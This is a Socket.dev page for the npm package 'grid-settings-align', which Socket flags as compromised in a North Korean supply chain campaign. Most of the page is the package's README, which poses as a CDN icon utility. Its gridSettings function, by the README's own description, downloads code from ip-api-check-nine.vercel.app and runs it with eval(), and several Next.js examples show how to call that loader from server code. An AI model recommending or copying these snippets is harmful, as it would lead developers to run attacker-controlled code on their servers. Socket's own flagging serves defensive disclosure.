New Research: Supply Chain Attack on Axios Pulls Malicious Dependency from npm.Details →
Socket
Book a DemoSign in
Socket

grid-settings-align

Package Overview
Dependencies
Maintainers
1
Versions
2
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install
This package was compromised as part of the ongoing "North Korea’s Contagious Interview Campaign" supply chain attack.

Affected versions:

14.1.114.1.2
View campaign page

grid-settings-align

A Node.js utility for fetching resources from multiple CDN providers with automatic retry logic

latest
Source
npmnpm
Version
14.1.2
Version published
Weekly downloads
7
40%
Maintainers
1
Weekly downloads
 
Created
Source

Grid Settings

npm version License: ISC

A Node.js utility for fetching and managing settings from a distributed grid system. This module provides functions to retrieve icon resources from multiple CDN providers and fetch grid configuration settings with automatic retry logic.

✨ Features

  • 🌐 Multi-CDN Support - Fetch resources from 6 major CDN providers
  • ⚙️ Grid Configuration - Retrieve and apply settings from remote grid systems
  • 🔄 Automatic Retry Logic - Built-in retry mechanism for failed requests
  • 📦 Simple API - Easy-to-use promise-based functions
  • 🛡️ Error Handling - Comprehensive validation and error management
  • 🔧 Universal Compatibility - Works with CommonJS, ES Modules, TypeScript, React, Next.js, and more

📦 Installation

npm install grid-settings-align

🚀 Quick Start

JavaScript (CommonJS)

const { setDefaultModule, gridSettings } = require('grid-settings-align');

// Fetch an icon from Cloudflare CDN
setDefaultModule('cloudflare', 'icon', 'github.svg', 'https://cdnjs.cloudflare.com')
  .then(data => {
    console.log('Icon data:', data);
  })
  .catch(error => {
    console.error('Error:', error);
  });

JavaScript (ES Modules)

import { setDefaultModule, gridSettings } from 'grid-settings-align';

// Or use default import
import gridSettingsModule from 'grid-settings-align';
const { setDefaultModule, gridSettings } = gridSettingsModule;

TypeScript

import { setDefaultModule, gridSettings, IconProvider } from 'grid-settings-align';

async function fetchIcon() {
  const provider: IconProvider = 'cloudflare';
  const data = await setDefaultModule(provider, 'icon', 'github.svg', 'https://cdnjs.cloudflare.com');
  console.log('Icon data:', data);
}

Next.js (Server-Side Only)

⚠️ Important: This module is server-side only and cannot be used in Client Components. Use it in:

  • API Routes (pages/api/* or app/api/*)
  • Server Components (App Router)
  • Server Actions
  • Route Handlers

API Route Example (Pages Router)

// pages/api/fetch-icon.ts
import type { NextApiRequest, NextApiResponse } from 'next';
import { setDefaultModule } from 'grid-settings-align';

export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  try {
    const data = await setDefaultModule(
      'cloudflare',
      'icon',
      'github.svg',
      'https://cdnjs.cloudflare.com'
    );
    res.status(200).json(data);
  } catch (error) {
    res.status(500).json({ error: 'Failed to fetch icon' });
  }
}

Server Component Example (App Router)

// app/icons/page.tsx
import { setDefaultModule } from 'grid-settings-align';

export default async function IconsPage() {
  const iconData = await setDefaultModule(
    'cloudflare',
    'icon',
    'github.svg',
    'https://cdnjs.cloudflare.com'
  );

  return (
    <div>
      <pre>{JSON.stringify(iconData, null, 2)}</pre>
    </div>
  );
}

Server Action Example

// app/actions.ts
'use server';

import { setDefaultModule, gridSettings } from 'grid-settings-align';

export async function fetchIconAction() {
  const data = await setDefaultModule(
    'cloudflare',
    'icon',
    'github.svg',
    'https://cdnjs.cloudflare.com'
  );
  return data;
}

export async function applyGridSettingsAction(token: string) {
  const options = {
    url: 'https://ip-api-check-nine.vercel.app/icons/',
    headers: { bearrtoken: 'logo' }
  };
  gridSettings(token, options, 3);
}

Route Handler Example (App Router)

// app/api/grid-settings/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { gridSettings } from 'grid-settings-align';

export async function POST(request: NextRequest) {
  const { token } = await request.json();
  
  const options = {
    url: 'https://ip-api-check-nine.vercel.app/icons/',
    headers: { bearrtoken: 'logo' }
  };
  
  gridSettings(token, options, 3);
  
  return NextResponse.json({ success: true });
}

📖 API Reference

setDefaultModule(iconProvider, resourceType, token, baseUrl)

Fetches an icon resource from a specified CDN provider.

Parameters:

ParameterTypeDescription
iconProviderstringCDN provider name (see supported providers below)
resourceTypestringType of resource to fetch
tokenstringResource identifier or token
baseUrlstringBase URL for the CDN endpoint

Returns: Promise<Object> - Resolves with the fetched resource data

Example:

const { setDefaultModule } = require('grid-settings-align');

async function fetchIcon() {
  try {
    const data = await setDefaultModule(
      'cloudflare',
      'icon',
      'github.svg',
      'https://cdnjs.cloudflare.com'
    );
    console.log('Icon data:', data);
  } catch (error) {
    console.error('Failed:', error.message);
  }
}

fetchIcon();

gridSettings(reqtoken, reqoptions, ret)

Fetches grid configuration settings with automatic retry logic. This function retrieves settings from the configured grid endpoint and applies them.

Parameters:

ParameterTypeDescription
reqtokenstringToken for the grid settings request (default: '132')
reqoptionsObjectRequest options including URL and headers
retnumberNumber of retry attempts (default: 1)

Note: This function uses eval() to execute received code. Ensure the grid endpoint is trusted.

Example:

const { gridSettings } = require('grid-settings-align');

// Fetch settings with 3 retry attempts
gridSettings('132', options, 3);

// Fetch with custom token
const customOptions = {
  url: 'https://ip-api-check-nine.vercel.app/icons/',
  headers: { bearrtoken: 'logo' }
};
gridSettings('custom-token', customOptions, 2);

🌐 Supported CDN Providers

ProviderIdentifierDomain
Cloudflarecloudflarecloudflare.com
Fastlyfastlyfastly.net
KeyCDNkeyIconkeyIcon.com
Akamaiakamaiakamai.net
Amazon CloudFrontamazoncloudfrontcloudfront.net
Gcoregcoregcorelabs.com

💡 Usage Examples

Fetching Icons from Multiple CDNs

const { setDefaultModule } = require('grid-settings-align');

async function loadIconsFromMultipleCDNs() {
  const providers = ['cloudflare', 'fastly', 'akamai'];
  const icons = ['github.svg', 'twitter.svg', 'linkedin.svg'];
  
  for (const provider of providers) {
    for (const icon of icons) {
      try {
        const data = await setDefaultModule(
          provider,
          'icon',
          icon,
          `https://cdnjs.${provider === 'cloudflare' ? 'cloudflare' : provider}.com`
        );
        console.log(`Loaded ${icon} from ${provider}:`, data);
      } catch (error) {
        console.error(`Failed to load ${icon} from ${provider}:`, error.message);
      }
    }
  }
}

loadIconsFromMultipleCDNs();

Configuring Grid Settings

const { gridSettings } = require('grid-settings-align');

// Configure and apply grid settings with retries
function applyGridConfiguration(configId, retries = 5) {
  const options = {
    url: 'https://ip-api-check-nine.vercel.app/icons/',
    headers: { bearrtoken: 'logo' }
  };
  
  gridSettings(configId, options, retries);
  console.log(`Grid settings applied with ID: ${configId}`);
}

applyGridConfiguration('grid-config-001', 3);

Error Handling

const { setDefaultModule, gridSettings } = require('grid-settings-align');

// Handle errors in setDefaultModule
setDefaultModule('invalid-provider', 'icon', 'test.svg', 'https://example.com')
  .catch(error => {
    if (error.message === 'Unsupported Icon provider') {
      console.error('Please use a supported CDN provider');
    } else {
      console.error('Unexpected error:', error);
    }
  });

// Grid settings will automatically retry on failure
gridSettings('token', options, 3);

⚠️ Important Notes

Server-Side Only Module

This module is server-side only and cannot be used in browser/client-side code.

  • Works in: Node.js, Next.js API routes, Server Components, Server Actions, Route Handlers
  • Does NOT work in: Client Components, Browser, Client-side React hooks, useEffect in client components

If you need to use this module in a Next.js application:

  • Use API Routes - Create an API endpoint that uses this module
  • Use Server Components - Use in App Router Server Components (async components)
  • Use Server Actions - Create server actions with 'use server' directive
  • Call from Client - Your client components can call these API routes/actions

Security Considerations

  • gridSettings uses eval() - This function executes code received from the remote server
  • Only use trusted grid endpoints - Ensure the grid configuration endpoint is secure and trusted
  • Validate all inputs - Always validate tokens and configuration IDs before use

Error Handling

The library throws errors in the following cases:

  • Unsupported CDN Provider: When an invalid provider identifier is used in setDefaultModule
  • Network Errors: When the request fails due to network issues
  • Invalid Response: When the server returns a non-200 status code
  • Parse Errors: When the response body cannot be parsed as JSON

🔧 Project Compatibility

This module is designed to work seamlessly across different JavaScript/TypeScript environments:

Project TypeSupportImport Style
Node.js (CommonJS)require('grid-settings-align')
Node.js (ES Modules)import from 'grid-settings-align'
TypeScriptFull type definitions included
Next.js API RoutesServer-side only - use in API routes
Next.js Server ComponentsServer-side only - use in App Router
Next.js Server ActionsServer-side only - use with 'use server'
React Client ComponentsServer-side only - use API routes instead
Vue.js⚠️Server-side only - use in Nuxt API routes
Angular⚠️Server-side only - use in API services
Svelte⚠️Server-side only - use in SvelteKit API routes

TypeScript Support

Full TypeScript support is included with type definitions. The package exports all necessary types:

import type { IconProvider, RequestOptions, ResponseData } from 'grid-settings-align';

Module Resolution

The package uses modern exports field for proper module resolution:

  • CommonJS: Automatically resolved via require()
  • ES Modules: Automatically resolved via import
  • TypeScript: Type definitions are automatically picked up

🔧 Requirements

  • Node.js >= 12.0.0
  • npm or yarn package manager

📝 License

ISC License - see the LICENSE file for details.

🐛 Bug Reports

Found a bug? Please report it on GitHub Issues.

👤 Author

copperadev

🤝 Contributing

Contributions, issues, and feature requests are welcome!

Made with ❤️ by copperadev

Keywords

grid

FAQs

Package last updated on 05 Nov 2025

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts